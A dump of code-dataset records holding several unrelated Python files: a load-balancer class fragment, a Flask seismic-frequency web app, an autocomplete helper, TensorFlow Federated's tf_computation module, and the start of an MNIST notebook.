decimal.InvalidOperation:\n raise ValueError((\"Member '{member}' is invalid\").format(member=member))\n\n new_members.append(tuple(member))\n\n new_members.sort(key=lambda x: x[1], reverse=True)\n if self._members == new_members:\n return\n self._members = new_members\n self._members.sort(key=lambda x: x[1], reverse=True)\n self._sum_weights = sum([ i[1] for i in self._members ])\n self._ratios = []\n for name, weight in self._members:\n self._ratios.append(_calc_ratio(weight, self._sum_weights))\n\n self.reset()\n\n def reset(self):\n \"\"\"Reset the load\"\"\"\n self._load = [\n 0] * len(self._members)\n\n def get_next(self):\n \"\"\"Returns the next member\"\"\"\n if self._ratios == self._load:\n self.reset()\n for i, ratio in enumerate(self._ratios):\n if self._load[i] < ratio:\n self._load[i] += 1\n return self._members[i]\n\n def __repr__(self):\n return ('{class_}(load={load}, ratios={ratios})').format(class_=self.__class__, load=self.load, ratios=self.ratios)\n\n def __eq__(self, other):\n return self._members == other.members","sub_path":"pycfiles/lback-0.8.1/balancing.py","file_name":"balancing.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"46675311","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSimple application to provide freq from images of seismic.\nFreq code by endolith https://gist.github.com/endolith/255291\n\"\"\"\nfrom io import BytesIO\nimport uuid\n\nfrom flask import Flask\nfrom flask import make_response\nfrom flask import request, jsonify, render_template\n\nimport urllib\nimport requests\nimport numpy as np\nfrom PIL import Image\n\nfrom bruges import get_bruges\nimport geophysics\nfrom segy import write_segy\nimport utils\nfrom errors import InvalidUsage\n\napplication = Flask(__name__)\n\n\n@application.errorhandler(InvalidUsage)\ndef handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n\n@application.route('/freq')\ndef freq():\n\n # Params from inputs.\n url = request.args.get('url')\n method = request.args.get('method') or 'xing'\n avg = request.args.get('avg') or 'mean'\n region = request.args.get('region')\n ntraces = request.args.get('ntraces') or '10'\n trace_spacing = request.args.get('trace_spacing') or 'regular'\n bins = request.args.get('bins') or '9'\n t_min = request.args.get('tmin') or '0'\n t_max = request.args.get('tmax') or '1'\n dt_param = request.args.get('dt') or 'auto'\n\n # Booleans.\n spectrum = request.args.get('spectrum') or 'false'\n segy = request.args.get('segy') or 'false'\n\n nope = {i: False for i in ('none', 'false', 'no', '0')}\n\n spectrum = nope.get(spectrum.lower(), True)\n segy = nope.get(segy.lower(), True)\n\n # Condition or generate params.\n ntraces = int(ntraces)\n bins = float(bins)\n t_min = float(t_min)\n t_max = float(t_max)\n uuid1 = str(uuid.uuid1())\n if region:\n region = [int(n) for n in region.split(',')]\n else:\n region = []\n\n # Fetch and crop image.\n try:\n r = requests.get(url)\n im = Image.open(BytesIO(r.content))\n except Exception:\n result = {'job_uuid': uuid.uuid1()}\n result['status'] = 'failed'\n m = 'Error. Unable to open image from target URI. '\n result['message'] = m\n result['parameters'] = utils.build_params(method, avg,\n t_min, t_max,\n region,\n trace_spacing,\n url=url)\n return jsonify(result)\n\n if region:\n try:\n im = im.crop(region)\n except Exception:\n m = 'Improper crop parameters '\n raise InvalidUsage(m+region, status_code=410)\n\n width, height = im.size[0], im.size[1]\n\n # Calculate dt and interpolate if necessary.\n if dt_param[:4].lower() == 'orig':\n dt = (t_max - t_min) / (height - 1)\n else:\n if dt_param[:4].lower() == 'auto':\n dts = [0.0005, 0.001, 0.002, 0.004, 0.008]\n for dt in sorted(dts, reverse=True):\n target = int(1 + (t_max - t_min) / dt)\n # Accept the first one that is larger than the current height.\n if target >= height:\n break # dt and target are set\n else:\n dt = float(dt_param)\n target = int((t_max - t_min) / dt)\n\n # If dt is not orig, we need to inpterpolate.\n im = im.resize((width, target), Image.ANTIALIAS)\n\n # Set up the image.\n grey = geophysics.is_greyscale(im)\n i = np.asarray(im) - 128\n i = i.astype(np.int8)\n if not grey:\n r, g, b = i[..., 0], i[..., 1], i[..., 2]\n i = np.sqrt(0.299 * r**2. + 0.587 * g**2. + 0.114 * b**2.)\n else:\n i = i[..., 0]\n\n # Get SEGY file link, if requested.\n if segy:\n try:\n databytes = BytesIO()\n write_segy(i, databytes, dt, t_min)\n databytes.seek(0)\n except:\n print('Write SEGY failed')\n else:\n file_link = utils.get_url(databytes, uuid1)\n\n # Do analysis.\n m = {'auto': geophysics.freq_from_autocorr,\n 'fft': geophysics.freq_from_fft,\n 'xing': geophysics.freq_from_crossings}\n traces = geophysics.get_trace_indices(i.shape[1], ntraces, trace_spacing)\n specs, f_list, p_list, snr_list, mis, mas = geophysics.analyse(i,\n t_min,\n t_max,\n traces,\n m[method.lower()])\n\n # Compute statistics.\n fsd, psd = np.nanstd(f_list), np.nanstd(p_list)\n fn, pn = len(f_list), len(p_list)\n\n if avg.lower() == 'trim' and fn > 4:\n f = geophysics.trim_mean(f_list, 0.2)\n elif avg.lower() == 'mean' or (avg == 'trim' and fn <= 4):\n f = np.nanmean(f_list)\n else:\n m = 'avg parameter must be trim or mean'\n raise InvalidUsage(m, status_code=410)\n\n if avg.lower() == 'trim' and pn > 4:\n p = geophysics.trim_mean(p_list, 0.2)\n elif avg.lower() == 'mean' or (avg == 'trim' and pn <= 4):\n p = np.nanmean(p_list)\n else:\n m = 'avg parameter must be trim or mean'\n raise InvalidUsage(m, status_code=410)\n\n snrsd = np.nanstd(snr_list)\n snr = np.nanmean(snr_list)\n\n # Spectrum.\n try:\n spec = np.mean(np.dstack(specs), axis=-1)\n fs = i.shape[0] / (t_max - t_min)\n freq = np.fft.rfftfreq(i.shape[0], 1/fs)\n f_min = np.amin(mis)\n f_max = np.amax(mas)\n except:\n # Probably the image is not greyscale.\n result = {'job_uuid': uuid.uuid1()}\n result['status'] = 'failed'\n m = 'Analysis error. Probably the colorbar is not greyscale.'\n result['message'] = m\n result['parameters'] = utils.build_params(method.lower(), avg.lower(),\n t_min, t_max,\n region,\n trace_spacing,\n url=url)\n\n return jsonify(result)\n\n # Histogram.\n if bins:\n hist = np.histogram(i, bins=bins)\n else:\n hist = None\n\n # Construct the result and return.\n result = {'job_uuid': uuid1}\n\n result['status'] = 'success'\n result['message'] = ''\n result['result'] = {}\n result['result']['freq'] = {'peak': np.round(f, 2),\n 'sd': np.round(fsd, 2),\n 'n': fn,\n 'min': np.round(f_min, 2),\n 'max': np.round(f_max, 2)}\n result['result']['phase'] = {'avg': np.round(p, 2),\n 'sd': np.round(psd, 2),\n 'n': pn}\n result['result']['snr'] = {'avg': np.round(snr, 2),\n 'sd': np.round(snrsd, 2)}\n result['result']['greyscale'] = grey\n result['result']['dt'] = dt\n result['result']['img_size'] = {'original_height': height,\n 'width': width,\n 'resampled_height': target}\n\n if segy:\n result['result']['segy'] = file_link\n\n if spectrum:\n result['result']['spectrum'] = spec.tolist()\n result['result']['frequencies'] = freq.tolist()\n\n if hist:\n result['result']['histogram'] = {'counts': hist[0].tolist(),\n 'bins': hist[1].tolist()\n }\n\n result['parameters'] = utils.build_params(method, avg,\n t_min, t_max, dt_param,\n region,\n trace_spacing,\n url=url)\n\n return jsonify(result)\n\n\n@application.route('/bruges')\n@application.route('/bruges.png')\ndef bruges_png():\n\n p = float(request.args.get('p') or 0.5)\n n = int(request.args.get('n') or 1)\n style = str(request.args.get('style') or '')\n\n text = get_bruges(p, n)\n text = urllib.parse.quote_plus(text)\n\n base_url = \"https://chart.googleapis.com/chart\"\n\n if style.lower() == 'bubble':\n q = \"?chst=d_bubble_text_small&chld=bb|{}|14AFCA|000000\"\n query = q.format(text)\n else:\n q = \"?chst=d_text_outline&chld=14AFCA|24|h|325396|b|{}\"\n query = q.format(text)\n\n url = base_url + query\n\n r = requests.get(url)\n b = BytesIO(r.content)\n\n response = make_response(b.getvalue())\n response.mimetype = 'image/png'\n return response\n\n\n@application.route('/bruges.json')\ndef bruges_json():\n\n p = float(request.args.get('p') or 0.5)\n n = int(request.args.get('n') or 1)\n\n text = get_bruges(p, n)\n dictionary = {'result': text,\n 'p': p,\n 'n': n,\n }\n\n return jsonify(dictionary)\n\n\n@application.route('/bruges.txt')\ndef bruges_text():\n\n p = float(request.args.get('p') or 0.5)\n n = int(request.args.get('n') or 1)\n\n text = get_bruges(p, n)\n return text\n\n\n@application.route('/bruges.help')\ndef bruges_help():\n\n return render_template('bruges.html',\n title='Bruges help')\n\n\n@application.route('/')\ndef main():\n return render_template('index.html',\n title='Home')\n\nif __name__ == \"__main__\":\n application.debug = True\n application.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"310269590","text":"import json\n\nfrom Rep_Del_Add import *\n\n\ndef get_id():\n\n with open(r'C:\\Users\\s0573\\Documents\\bootcamp\\auto complition\\id_compilation.json', 'r') as file:\n data_ = json.load(file)\n return data_\n\n\ndef load_data():\n with open(\"data.json\", 'r') as file:\n data_ = json.load(file)\n return data_\n\n\ndata = load_data()\nid_completion = get_id()\n\n\nclass AutoCompleteData:\n def __init__(self, completed_sentence, source_text, offset, score):\n self.completed_sentence = completed_sentence\n self.source_text = source_text\n self.offset = offset\n self.score = score\n\n\ndef completion(sentence):\n\n res = []\n count = 0\n\n if data.get(sentence, 0):\n values = data[sentence]\n for key, value in values.items():\n if count < 5:\n count += 1\n res.append(convert_to_auto_completed(sentence, key, value))\n\n if count < 5:\n values = replace(count, sentence, data)\n for value in values:\n count += 1\n res.append(convert_to_auto_completed(value[0], value[1], value[2]))\n\n if count< 5:\n values = delete_(count, sentence, data)\n for value in values:\n count += 1\n res.append(convert_to_auto_completed(value[0], value[1], value[2]))\n\n if count < 5:\n values = add_(count, sentence, data)\n for value in values:\n count += 1\n res.append(convert_to_auto_completed(value[0], value[1], value[2]))\n\n return res\n\n\ndef convert_to_auto_completed(sentence, key, value):\n\n sentence_key = \" \"\n if(id_completion.get(key)):\n sentence_key = id_completion[key]\n auto = AutoCompleteData(sentence_key, sentence, value[0], value[1])\n return auto\n\n\n","sub_path":"completion.py","file_name":"completion.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"553598526","text":"# Copyright 2018, The TensorFlow Federated Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Definition of a tensorflow computation.\"\"\"\n\nfrom collections.abc import Generator, Mapping, Sequence\nfrom typing import Any, Callable, Optional, Union\n\nimport tensorflow as tf\n\nfrom tensorflow_federated.proto.v0 import computation_pb2 as pb\nfrom tensorflow_federated.python.common_libs import serialization_utils\nfrom tensorflow_federated.python.common_libs import structure\nfrom tensorflow_federated.python.core.impl.computation import computation_impl\nfrom tensorflow_federated.python.core.impl.computation import computation_wrapper\nfrom tensorflow_federated.python.core.impl.computation import function_utils\nfrom tensorflow_federated.python.core.impl.context_stack import context_stack_impl\nfrom tensorflow_federated.python.core.impl.tensorflow_context import tensorflow_serialization\nfrom tensorflow_federated.python.core.impl.types import computation_types\nfrom tensorflow_federated.python.core.impl.types import type_analysis\nfrom tensorflow_federated.python.core.impl.types import type_conversions\nfrom tensorflow_federated.python.core.impl.types import type_serialization\n\n\ndef _tf_wrapper_fn(parameter_type, name, **kwargs):\n \"\"\"Wrapper function to plug Tensorflow logic into the TFF framework.\"\"\"\n del name # Unused.\n if 'layout_map' in kwargs:\n layout_map = kwargs['layout_map']\n else:\n layout_map = None\n if not type_analysis.is_tensorflow_compatible_type(parameter_type):\n raise TypeError(\n '`tf_computation`s can accept only parameter types with '\n 'constituents `SequenceType`, `StructType` '\n 'and `TensorType`; you have attempted to create one '\n 'with the type {}.'.format(parameter_type)\n )\n ctx_stack = context_stack_impl.context_stack\n tf_serializer = tensorflow_serialization.tf_computation_serializer(\n parameter_type, ctx_stack, layout_map\n )\n arg = next(tf_serializer)\n try:\n result = yield arg\n except Exception as e: # pylint: disable=broad-except\n tf_serializer.throw(e)\n comp_pb, extra_type_spec = tf_serializer.send(result) # pylint: disable=undefined-variable # pytype: disable=attribute-error\n tf_serializer.close()\n yield computation_impl.ConcreteComputation(\n comp_pb, ctx_stack, extra_type_spec\n )\n\n\ntf_computation = computation_wrapper.ComputationWrapper(\n computation_wrapper.PythonTracingStrategy(_tf_wrapper_fn)\n)\ntf_computation.__doc__ = \"\"\"Decorates/wraps Python functions and defuns as TFF TensorFlow computations.\n\n This symbol can be used as either a decorator or a wrapper applied to a\n function given to it as an argument. The supported patterns and examples of\n usage are as follows:\n\n 1. Convert an existing function inline into a TFF computation. This is the\n simplest mode of usage, and how one can embed existing non-TFF code for\n use with the TFF framework. In this mode, one invokes\n `tff.tf_computation` with a pair of arguments, the first being a\n function/defun that contains the logic, and the second being the TFF type\n of the parameter:\n\n ```python\n foo = tff.tf_computation(lambda x: x > 10, tf.int32)\n ```\n\n After executing the above code snippet, `foo` becomes an instance of the\n abstract base class `Computation`. Like all computations, it has the\n `type_signature` property:\n\n ```python\n str(foo.type_signature) == '(int32 -> bool)'\n ```\n\n The function passed as a parameter doesn't have to be a lambda, it can\n also be an existing Python function or a defun. Here's how to construct\n a computation from the standard TensorFlow operator `tf.add`:\n\n ```python\n foo = tff.tf_computation(tf.add, (tf.int32, tf.int32))\n ```\n\n The resulting type signature is as expected:\n\n ```python\n str(foo.type_signature) == '( -> int32)'\n ```\n\n If one intends to create a computation that doesn't accept any arguments,\n the type argument is simply omitted. The function must be a no-argument\n function as well:\n\n ```python\n foo = tf_computation(lambda: tf.constant(10))\n ```\n\n 2. Decorate a Python function or a TensorFlow defun with a TFF type to wrap\n it as a TFF computation. The only difference between this mode of usage\n and the one mentioned above is that instead of passing the function/defun\n as an argument, `tff.tf_computation` along with the optional type specifier\n is written above the function/defun's body.\n\n Here's an example of a computation that accepts a parameter:\n\n ```python\n @tff.tf_computation(tf.int32)\n def foo(x):\n return x > 10\n ```\n\n One can think of this mode of usage as merely a syntactic sugar for the\n example already given earlier:\n\n ```python\n foo = tff.tf_computation(lambda x: x > 10, tf.int32)\n ```\n\n Here's an example of a no-parameter computation:\n\n ```python\n @tff.tf_computation\n def foo():\n return tf.constant(10)\n ```\n\n Again, this is merely syntactic sugar for the example given earlier:\n\n ```python\n foo = tff.tf_computation(lambda: tf.constant(10))\n ```\n\n If the Python function has multiple decorators, `tff.tf_computation` should\n be the outermost one (the one that appears first in the sequence).\n\n 3. Create a polymorphic callable to be instantiated based on arguments,\n similarly to TensorFlow defuns that have been defined without an input\n signature.\n\n This mode of usage is symmetric to those above. One simply omits the type\n specifier, and applies `tff.tf_computation` as a decorator or wrapper to a\n function/defun that does expect parameters.\n\n Here's an example of wrapping a lambda as a polymorphic callable:\n\n ```python\n foo = tff.tf_computation(lambda x, y: x > y)\n ```\n\n The resulting `foo` can be used in the same ways as if it were had the\n type been declared; the corresponding computation is simply created on\n demand, in the same way as how polymorphic TensorFlow defuns create and\n cache concrete function definitions for each combination of argument\n types.\n\n ```python\n ...foo(1, 2)...\n ...foo(0.5, 0.3)...\n ```\n\n Here's an example of creating a polymorphic callable via decorator:\n\n ```python\n @tff.tf_computation\n def foo(x, y):\n return x > y\n ```\n\n The syntax is symmetric to all examples already shown.\n\n Args:\n *args: Either a function/defun, or TFF type spec, or both (function first),\n or neither, as documented in the 3 patterns and examples of usage above.\n\n Returns:\n If invoked with a function as an argument, returns an instance of a TFF\n computation constructed based on this function. If called without one, as\n in the typical decorator style of usage, returns a callable that expects\n to be called with the function definition supplied as a parameter; see the\n patterns and examples of usage above.\n \"\"\"\n\n\nclass CapturedVariableError(Exception):\n \"\"\"Error raised when TFF tracing encountered variables captured from an outer scope.\"\"\"\n\n\ndef _no_lifting_creator(next_creator_fn, **kwargs):\n \"\"\"Variable creator that disables variable lifitng.\"\"\"\n # We require disabling the lifting of variables outside the `tf.function` in\n # TFF. TFF follows a functional programming model, where functions are \"pure\"\n # in that they do not (can not) rely on external state. Because of this only,\n # the FunctionDef will be serialized and sent for execution. So, we disable\n # `tf.variable` lifting at the outermost computation wrapper scope.\n kwargs['experimental_enable_variable_lifting'] = False\n return next_creator_fn(**kwargs)\n\n\n# The ArgDef protocol buffer message type isn't exposed in the `tensorflow`\n# package, this is a less than ideal workaround.\nArgDef = type(\n tf.compat.v1.GraphDef().library.function.add().signature.input_arg.add()\n)\nTensorStructureType = Union[\n computation_types.TensorType,\n computation_types.StructType,\n computation_types.SequenceType,\n]\n\n\ndef _extract_bindings(\n type_spec: Optional[TensorStructureType],\n arg_defs: Sequence[ArgDef],\n) -> Optional[pb.TensorFlowFunction.Binding]:\n \"\"\"Constructs a Binding given a type and function arguments.\"\"\"\n\n def extract(\n type_spec: Optional[TensorStructureType],\n function_args: Sequence[ArgDef],\n arg_index=0,\n ) -> tuple[Optional[pb.TensorFlowFunction.Binding], int]:\n if type_spec is None:\n return None, 0\n elif isinstance(type_spec, computation_types.TensorType):\n arg_def = function_args[arg_index]\n if arg_def.type != type_spec.dtype.as_datatype_enum: # pytype: disable=attribute-error\n raise TypeError(\n f'Argument at position {arg_index} had binding type '\n f'{tf.dtypes.as_dtype(arg_def.type)}, but ' # pytype: disable=attribute-error\n f'type signature expected type {type_spec.dtype}.' # pytype: disable=attribute-error\n )\n return (\n pb.TensorFlowFunction.Binding(\n tensor=pb.TensorFlowFunction.TensorBinding(arg_name=arg_def.name)\n ),\n 1,\n )\n elif isinstance(type_spec, computation_types.SequenceType):\n arg_def = function_args[arg_index]\n if arg_def.type != tf.variant:\n raise TypeError(\n f'Argument at position {arg_index} had binding type '\n f'{tf.dtypes.as_dtype(arg_def.type)}, but '\n 'sequence type signature expected tf.variant.'\n )\n return (\n pb.TensorFlowFunction.Binding(\n sequence=pb.TensorFlowFunction.SequenceBinding(\n arg_name=arg_def.name\n )\n ),\n 1,\n )\n\n elif isinstance(type_spec, computation_types.StructType):\n # tf.function tracing uses tf.nest.flatten to destructure input arguments.\n # The `GetValueIterator` method in tensorflow/python/util/util.cc sorts\n # the keys in Mapping types (note: namedtuple is not a mapping), though\n # TFF does _NOT_ sort when constructing StructType. Here we need to change\n # the method of iteration depending on the container type.\n # TODO: b/257258116 - Refactor to a generic component that can be used\n # across TFF when needing to reconcile TFF Struct traversal with\n # tf.nest.flatten.\n def field_iterator(\n struct_type: computation_types.StructType,\n ) -> Generator[computation_types.Type, None, None]:\n if isinstance(\n struct_type, computation_types.StructWithPythonType\n ) and issubclass(struct_type.python_container, Mapping):\n for field_name in sorted(structure.name_list(struct_type)):\n yield struct_type[field_name]\n else:\n for field in struct_type:\n yield field\n\n # Note: this code ignores the names of the elements, as all bindings are\n # only structural; the execution runtimes do not utilize names.\n args_consumed = 0\n elements = []\n for field in field_iterator(type_spec):\n element, args_used = extract(\n field, # pytype: disable=wrong-arg-types\n function_args,\n arg_index + args_consumed,\n )\n elements.append(element)\n args_consumed += args_used\n return (\n pb.TensorFlowFunction.Binding(\n structure=pb.TensorFlowFunction.StructBinding(element=elements)\n ),\n args_consumed,\n )\n else:\n raise TypeError(\n 'Cannot build bindings for type signature, must be '\n 'TensorType, SequenceType, or StructType. '\n f'Got: {type_spec!r}'\n )\n\n try:\n binding, args_consumed = extract(type_spec, arg_defs)\n except TypeError as e:\n raise TypeError(\n f'Failed to creating bindings for type {type_spec!r} with '\n f'arguments {arg_defs}'\n ) from e\n if args_consumed != len(arg_defs):\n raise ValueError(\n 'Number of args is not compatible with type '\n f'{type_spec!r}. Expected {args_consumed} args to bind, '\n f'but got {len(arg_defs)} args.'\n )\n return binding\n\n\nclass _TensorFlowFunctionTracingStrategy:\n \"\"\"A tracing strategy that relies on `tf.function` tracing.\"\"\"\n\n def __call__(\n self,\n fn_to_wrap: Callable[..., Any],\n fn_name: Optional[str],\n parameter_type: Optional[computation_types.Type],\n unpack: Optional[bool],\n **kwargs,\n ) -> computation_impl.ConcreteComputation:\n if not type_analysis.is_tensorflow_compatible_type(parameter_type):\n raise TypeError(\n '`tf_computation`s can accept only parameter types with '\n 'constituents `SequenceType`, `StructType` '\n 'and `TensorType`; you have attempted to create one '\n 'with the type {}.'.format(parameter_type)\n )\n ctx_stack = context_stack_impl.context_stack\n unpack_arguments_fn = function_utils.create_argument_unpacking_fn(\n fn_to_wrap, parameter_type, unpack=unpack\n )\n\n # Disabling variable lifting does not work on XLA devices so it is required\n # that the `tf.function` tracing _NOT_ jit compile.\n # TODO: b/210930091 - remove explicit jit_compile=False after local\n # (non-lifted) variables are supported in TF2XLA Bridge.\n @tf.function(jit_compile=False)\n def fn_without_variable_lifting(packed_args=None):\n # TFF's `Struct` type is not compatible with `tf.nest`, which is needed\n # by the `tf.function` APIs. However, `unpack_arguments_fn` expects the\n # `Struct` type. So `packed_args` will come in as a Python container,\n # and we wrap it in a `Struct` type here to be compatible.\n if (\n packed_args is not None\n and parameter_type is not None\n and isinstance(parameter_type, computation_types.StructType)\n ):\n packed_args = structure.from_container(packed_args, recursive=False)\n args, kwargs = unpack_arguments_fn(packed_args)\n with tf.variable_creator_scope(_no_lifting_creator):\n return fn_to_wrap(*args, **kwargs)\n\n TensorFlowSpec = Union[\n tf.data.DatasetSpec,\n tf.TensorSpec,\n tf.SparseTensorSpec,\n tf.RaggedTensorSpec,\n ]\n\n def _tf_spec_from_tff_type(\n type_spec: computation_types.Type,\n ) -> Union[\n TensorFlowSpec, Sequence[TensorFlowSpec], Mapping[str, TensorFlowSpec]\n ]:\n if isinstance(type_spec, computation_types.TensorType):\n return tf.TensorSpec(shape=type_spec.shape, dtype=type_spec.dtype)\n elif isinstance(type_spec, computation_types.SequenceType):\n return tf.data.DatasetSpec(_tf_spec_from_tff_type(type_spec.element))\n elif isinstance(type_spec, computation_types.StructType):\n container_type = type_spec.python_container\n if container_type is tf.SparseTensor:\n [rank] = type_spec['dense_shape'].shape\n return tf.SparseTensorSpec(\n shape=[None] * rank, dtype=type_spec['values'].dtype\n )\n elif container_type is tf.RaggedTensor:\n flat_values_type_spec = type_spec['flat_values']\n flat_values_spec = tf.TensorSpec(\n shape=flat_values_type_spec.shape,\n dtype=flat_values_type_spec.dtype,\n )\n nested_row_splits_type_spec = type_spec['nested_row_splits']\n row_splits_dtype = nested_row_splits_type_spec[0].dtype\n return tf.RaggedTensorSpec(\n dtype=flat_values_spec.dtype,\n ragged_rank=len(nested_row_splits_type_spec),\n row_splits_dtype=row_splits_dtype,\n flat_values_spec=flat_values_spec,\n )\n else:\n structure_of_type_specs = structure.Struct(\n [\n (name, _tf_spec_from_tff_type(child_type))\n for name, child_type in structure.iter_elements(type_spec)\n ]\n )\n return type_conversions.type_to_py_container(\n structure_of_type_specs, type_spec\n )\n else:\n raise TypeError(\n f'Cannot trace functions with arguments of type: {type_spec!r}'\n )\n\n if parameter_type is None:\n concrete_fn = fn_without_variable_lifting.get_concrete_function()\n else:\n tensorflow_input_spec = _tf_spec_from_tff_type(parameter_type)\n concrete_fn = fn_without_variable_lifting.get_concrete_function(\n tensorflow_input_spec\n )\n\n if concrete_fn.variables:\n raise CapturedVariableError(\n 'Traced function references variables from an outer scope, '\n f'this is not allowed. Found variables: {concrete_fn.variables}'\n )\n\n if concrete_fn.structured_outputs is None:\n raise computation_wrapper.ComputationReturnedNoneError(fn_to_wrap)\n\n def _symbolic_tensors_to_tf_specs(tensors):\n if isinstance(tensors, tf.Tensor):\n return tf.TensorSpec.from_tensor(tensors)\n elif isinstance(tensors, tf.SparseTensor):\n return tf.SparseTensorSpec.from_value(tensors)\n elif isinstance(tensors, tf.RaggedTensor):\n return tf.RaggedTensorSpec.from_value(tensors)\n elif isinstance(tensors, tf.data.Dataset):\n return tf.data.DatasetSpec(element_spec=tensors.element_spec)\n else:\n raise TypeError(\n 'Function output must be a `tf.Tensor`, `tf.SparseTensor`, '\n '`tf.RaggedTensor`, or a `tf.data.Dataset`. '\n f'Unknown tensor value type: {type(tensors)!r}.'\n )\n\n type_signature = computation_types.FunctionType(\n parameter=parameter_type,\n result=computation_types.to_type(\n tf.nest.map_structure(\n _symbolic_tensors_to_tf_specs, concrete_fn.structured_outputs\n )\n ),\n )\n\n parameter_binding = _extract_bindings(\n type_signature.parameter, concrete_fn.function_def.signature.input_arg\n )\n result_binding = _extract_bindings(\n type_signature.result, # pytype: disable=wrong-arg-types\n concrete_fn.function_def.signature.output_arg,\n )\n if 'layout_map' in kwargs:\n layout_map = kwargs['layout_map']\n else:\n layout_map = None\n comp_pb = pb.Computation(\n type=type_serialization.serialize_type(type_signature),\n tensorflow_function=pb.TensorFlowFunction(\n function_def=serialization_utils.pack_function_def(\n concrete_fn.function_def\n ),\n parameter=parameter_binding,\n result=result_binding,\n layout_map=pb.TensorFlowFunction.LayoutMap(\n name_to_sharding_spec=layout_map\n ),\n ),\n )\n return computation_impl.ConcreteComputation(\n comp_pb, ctx_stack, annotated_type=type_signature\n )\n\n\nexperimental_tf_fn_computation = computation_wrapper.ComputationWrapper(\n _TensorFlowFunctionTracingStrategy()\n)\nexperimental_tf_fn_computation.__doc__ = \"\"\"Decorates/wraps functions as TFF TensorFlow computations.\n\n This symbol can be used as either a decorator or a wrapper applied to a\n function given to it as an argument.\n\n IMPORTANT: This symbol will decorate the function argument with `tf.function`\n consequently apply TensorFlow's Auto-Control-Dependencies tracing to the logic\n (eager-mode-like semantics, _not_ graph-mode-like semantics).\n\n The supported patterns and examples of usage are as follows:\n\n 1. Convert an existing function inline into a TFF computation. This is the\n simplest mode of usage, and how one can embed existing non-TFF code for\n use with the TFF framework. In this mode, one invokes\n `tff.experimental_tf_fn_computation` with a pair of arguments, the first\n being a function that contains the logic, and the second being the TFF type\n of the parameter:\n\n ```python\n foo = tff.experimental_tf_fn_computation(lambda x: x > 10, tf.int32)\n ```\n\n After executing the above code snippet, `foo` becomes an instance of the\n abstract base class `Computation`. Like all computations, it has the\n `type_signature` property:\n\n ```python\n str(foo.type_signature)\n >>> '(int32 -> bool)'\n ```\n\n The function passed as a parameter doesn't have to be a lambda, it can\n be any Python callable. One notable exception is that TFF does not handle\n arguments with default values.\n\n If one intends to create a computation that doesn't accept any arguments,\n the type argument is simply omitted. The function must be a no-argument\n function as well:\n\n ```python\n foo = tff.experimental_tf_fn_computation(lambda: tf.constant(10))\n str(foo.type_signature)\n >>> '( -> tf.int32)'\n ```\n\n 2. Decorate a callable with a TFF type to wrap it as a TFF computation. The\n only difference between this mode of usage and the one mentioned above is\n that instead of passing the callable as an argument,\n `tff.experimetnal_tf_func_computation` along with the optional type\n specifier is written above the callable's body.\n\n Here's an example of a computation that accepts a parameter:\n\n ```python\n @tff.experimental_tf_fn_computation(tf.int32)\n def foo(x):\n return x > 10\n ```\n\n One can think of this mode of usage as merely a syntactic sugar for the\n example already given earlier:\n\n ```python\n foo = tff.tf_computation(lambda x: x > 10, tf.int32)\n ```\n\n Here's an example of a no-parameter computation:\n\n ```python\n @tff.tf_computation\n def foo():\n return tf.constant(10)\n ```\n\n Again, this is merely syntactic sugar for the example given earlier:\n\n ```python\n foo = tff.tf_computation(lambda: tf.constant(10))\n ```\n\n If the Python callable has multiple decorators, `tff.tf_computation` should\n be the outermost decorator (the one that appears first, or at the top).\n\n 3. Create a polymorphic callable to be instantiated based on arguments,\n similarly to `tf.function`s that have been defined without an input\n signature.\n\n This mode of usage is symmetric to those above. One simply omits the type\n specifier, and applies `tff.experimental_tf_fn_computation` as a\n decorator or wrapper to a function/defun that does expect parameters.\n\n Here's an example of wrapping a lambda as a polymorphic callable:\n\n ```python\n foo = tff.tf_computation(lambda x, y: x > y)\n ```\n\n The resulting `foo` can be used in the same ways as if it were had the\n type been declared; the corresponding computation is simply created on\n demand, in the same way as how polymorphic `tf.function`s create and\n cache concrete function definitions for each combination of argument\n types.\n\n ```python\n ...foo(1, 2)...\n ...foo(0.5, 0.3)...\n ```\n\n Here's an example of creating a polymorphic callable via decorator:\n\n ```python\n @tff.tf_computation\n def foo(x, y):\n return x > y\n ```\n\n The syntax is symmetric to all examples already shown.\n\n Args:\n *args: Either a python callable, or TFF type spec, or both (with callable\n first), or neither, as documented in the 3 patterns and examples of usage\n above.\n\n Returns:\n If invoked with a function as an argument, returns an instance of a TFF\n computation constructed based on this function. If called without one, as\n in the typical decorator style of usage, returns a callable that expects\n to be called with the function definition supplied as a parameter; see the\n patterns and examples of usage above.\n \"\"\"\n","sub_path":"tensorflow_federated/python/core/impl/tensorflow_context/tensorflow_computation.py","file_name":"tensorflow_computation.py","file_ext":"py","file_size_in_byte":24048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"310604756","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# \"Open\n\n# # El dataset de MNIST\n\n# In[2]:\n\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\n# In[3]:\n\n\nmnist = input_data.read_data_sets(\"MNIST_data\", one_hot = True)\n\n\n# In[4]:\n\n\nlen(mnist.train.images)\n\n\n# In[5]:\n\n\nlen(mnist.test.images)\n\n\n# In[6]:\n\n\nim_temp = mnist.train.images[0]\n\n\n# In[7]:\n\n\nfrom skimage import io\nimport numpy as np\n\n\n# In[8]:\n\n\nio.imshow(np.reshape(im_temp, (28,28)))\n\n\n# In[9]:\n\n\nmnist.train.labels[0]\n\n\n# # Una red neuronal con Tensor Flow - v1\n# * Las imágenes de entrenamiento de MNIST viven en un espacio vectorial de dimensión 